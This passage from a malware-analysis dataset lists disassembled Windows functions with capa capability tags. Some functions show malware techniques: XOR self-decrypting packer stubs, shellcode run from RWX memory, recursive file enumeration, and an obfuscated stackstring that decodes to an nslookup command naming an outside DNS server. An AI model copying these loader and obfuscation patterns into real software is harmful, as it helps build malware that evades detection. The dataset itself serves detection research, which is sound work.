joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404cb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004084b0
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0x412b10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0x404d35
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0x404d2c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0x404cc6
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0x404d27
inc eax
cmp byte [esi + eax], dl
jne 0x404d10
cmp byte [eax], 0
je 0x404cc6
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0x404d00
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x404d56
cmp dword [ebp - 0xc], 0
je 0x404d56
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.00404ba0
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x404d60
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x48], 0x73006e
push eax
mov word [ebp - 0x10], ax
mov ebx, edx
mov dword [ebp - 8], eax
mov edi, ecx
lea eax, [ebp - 0xc]
mov dword [ebp - 0x44], 0x6f006c
push eax
push 0x412b0c
push 0x412b10
mov dword [ebp - 0x40], 0x6b006f
mov dword [ebp - 0x3c], 0x700075
mov dword [ebp - 0x38], 0x250020
mov dword [ebp - 0x34], 0x200053
mov dword [ebp - 0x30], 0x6e0064
mov dword [ebp - 0x2c], 0x310073
mov dword [ebp - 0x28], 0x73002e
mov dword [ebp - 0x24], 0x70006f
mov dword [ebp - 0x20], 0x6f0072
mov dword [ebp - 0x1c], 0x6e0064
mov dword [ebp - 0x18], 0x2e0073
mov dword [ebp - 0x14], 0x750072
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x404e09
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [0x412b10]
call esi
test eax, eax
je 0x404dff
push 0
lea eax, [ebp - 0xc]
push eax
push 0x412b14
push 0x412b08
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 1
push dword [0x412b14]
call esi
test eax, eax
je 0x404dff
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x404e95
push ebx
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.00404b10
mov edx, ebx
mov ecx, edi
jmp section..htext
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4066f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.00406110
test eax, eax
je 0x406834
mov ecx, edi
call fcn.004064a0
test eax, eax
jne 0x406834
call fcn.00406640
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x410364
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x406764
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x406770
push 0x410368
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406813
push 0x41036c
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406813
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x4067d1
push 0x41039c
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004066f0
add esp, 0xc
jmp 0x40680b
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.004063b0
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x406805
jb 0x406800
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x406805
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406770
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4068f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.004077f0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x4103ac
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x40ff24
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x4103b0
push 0x4103b4
jmp loc.00416384
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x106f5e22
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x30ad6c09
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x1001cf50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100df320]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1001cf80
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1001cfb0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1001cfb0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1001d0ab
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1001cfd9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1001d00d
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x1001d06c
sub eax, 1
je 0x1001d06c
sub eax, 2
jne 0x1001d0ab
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10023510
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1001d08a
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1001d0ab
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1001d0ab
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
Function at 0x10023510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1002351f
pop dword [ebp - 8]
mov eax, 0x4523f863
add eax, 0xcade3cbc
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x869ad874
add dword [ebp - 0x18], 0xc7b76cd7
mov dword [ebp - 0x14], 0xbc5ba060
add dword [ebp - 0x14], 0x75d7abe5
mov dword [ebp - 0x10], 0x1247ed86
sub dword [ebp - 0x10], 0xc5fba958
mov dword [ebp - 0xc], 0x6cef0e2a
sub dword [ebp - 0xc], 0x6cef0e2a
lea eax, [ebp - 0x18]
push eax
mov eax, 0x8da869d7
sub eax, 0x7d9cf8f7
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xe2e42032
sub dword [ebp - 0x18], 0x6e71b6dc
mov dword [ebp - 0x14], 0xc788b83c
add dword [ebp - 0x14], 0x79e3a939
mov dword [ebp - 0x10], 0x2904e49b
sub dword [ebp - 0x10], 0xc595782f
mov dword [ebp - 0xc], 0x316dab02
add dword [ebp - 0xc], 0xce9254fe
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xfe01422a
add eax, 0x120a2e72
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x5a768
push 0
call eax
mov ecx, 0x1e974c16
add ecx, 0xe168ee8c
mov edi, eax
mov ebx, 0x266b2e2f
sub ebx, 0x165bfa2f
add ebx, dword [ebp - 8]
mov edx, 0xc304ea6a
sub edx, 0xd333b42
xor dword [ebp - 4], 0x18b4537d
mov esi, dword [ebx]
xor dword [ebp - 4], ecx
add esi, edx
add dword [ebp - 4], eax
mov dword [edi], esi
sub dword [ebp - 4], 0x28049157
add edi, 0xabb42ae6
sub edi, 0xabb42ae2
add ebx, 0x69cc811a
sub ebx, 0x69cc8116
loop 0x10023641
add eax, 0xdbd17601
add eax, 0x242f675a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7f4fce3c
add ecx, 0x90b031c4
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x45595883
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0xf42376
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x100018b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x100018c5
xor eax, eax
pop ebp
ret
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateProcessA]
pop ebp
ret

Function at 0x10001bc3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
mov ebx, dword [ebp + 0x798]
push esi
mov esi, dword [ebp + 0x79c]
push edi
mov edi, dword [ebp + 0x794]
push 0x3ff
lea eax, [ebp + 0x389]
push 0
push eax
mov byte [ebp + 0x388], 0
call fcn.10004d20
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov edi, 0x400
lea eax, [ebp + 0x388]
push edi
push eax
call fcn.1000ebd8
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x388]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10001c5b
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
jmp 0x10001c9d
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x10019282
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x10001c85
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10001c9d
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push ebx
call fcn.1000ebd8
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0x78c
leave
ret

Function at 0x10001e92
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10001eb3
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10001eb3
inc esi
mov eax, esi
pop esi
ret
Function at 0x100028fc
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183ad
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002956
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.1000ebd8
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002973
call fcn.100035cd
jmp 0x10002975
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.1000ebd8
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x100029c0
call fcn.1000390e
jmp 0x100029c0
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret

Function at 0x100029ea
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183dd
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002a44
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.1000ebd8
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002a61
call fcn.100035cd
jmp 0x10002a63
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.1000ebd8
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x10002aae
call fcn.1000390e
jmp 0x10002aae
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret
Function at 0x1000319d
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001843d
call fcn.10005580
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.1000ebd8
test eax, eax
je 0x100031c8
call fcn.1000318e
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x1001a0a8
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x10003223
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.10003e12
pop ecx
pop ecx
push edi
push esi
call fcn.1000ebd8
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10003873
push eax
push esi
push 0x10019474
call fcn.10003e12
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1000321c
ret
cmp ebx, edi
je 0x1000322e
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1000328b
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x100031e7
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100032df
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x100031e7
mov eax, esi
call fcn.100055b6
ret

Function at 0x10003623
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.1000ebd8
mov ebx, eax
cmp ebx, esi
je 0x10003696
lea ecx, [ebp - 0x74]
call fcn.10001115
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x100036ae
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.10003623
cmp eax, esi
jne 0x100036e0
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x1000369e
lea ecx, [ebp - 0x74]
call fcn.10001115
push dword [ebp - 0x78]
mov ecx, edi
call fcn.100010a6
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10001115
mov eax, esi
jmp 0x1000367c

Function at 0x10004d10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001e08c]
jne 0x10004d1a
repz ret
jmp fcn.1000a8a3
Function at 0x1000ebd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1000ebe7
pop dword [ebp - 0x30]
mov eax, 0x1000ebe7
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xbe8984da
sub dword [ebp - 0x40], 0x70373f8f
mov dword [ebp - 0x3c], 0xbf51116a
sub dword [ebp - 0x3c], 0x8d1dc525
mov dword [ebp - 0x38], 0x1884bbb3
add dword [ebp - 0x38], 0x33c7887b
mov dword [ebp - 0x34], 0xf22274c9
sub dword [ebp - 0x34], 0xf22274c9
lea eax, [ebp - 0x40]
push eax
mov eax, 0x99d89834
add eax, 0x7628f7e4
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xdf69fa06
add dword [ebp - 0x40], 0x95086f50
mov dword [ebp - 0x3c], 0x68458214
add dword [ebp - 0x3c], 0xd926df61
mov dword [ebp - 0x38], 0x9fe35cf5
sub dword [ebp - 0x38], 0x3c73f089
mov dword [ebp - 0x34], 0x5e76823a
add dword [ebp - 0x34], 0xa1897dc6
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xb2f50c29
sub eax, 0xa2f37c15
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3d928
push 0
call eax
mov ecx, 0x12b5525d
sub ecx, 0x12b5019f
xor edi, edi
add edi, eax
mov ebx, 0xe8b7e8d0
add ebx, 0x274ad530
add ebx, dword [ebp - 0x30]
mov esi, 0x8250a2d5
sub esi, 0xb3b4d98f
add dword [ebp - 0xc], 0x503695a1
mov edx, dword [ebx]
sub dword [ebp - 0x2c], 0xb9fbb999
sub edx, esi
xor dword [ebp - 0x28], eax
mov dword [edi], edx
add dword [ebp - 4], 0x6f127f7c
add edi, 0x9d7005d2
sub edi, 0x9d7005ce
add ebx, 0x6555c64d
add ebx, 0x9aaa39b7
loop 0x1000ed06
add eax, 0x135cb
xor ebx, ebx
add ebx, eax
add eax, 0xe4a3c3aa
add eax, 0x1b5c3c5b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
xor ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
or eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
or eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219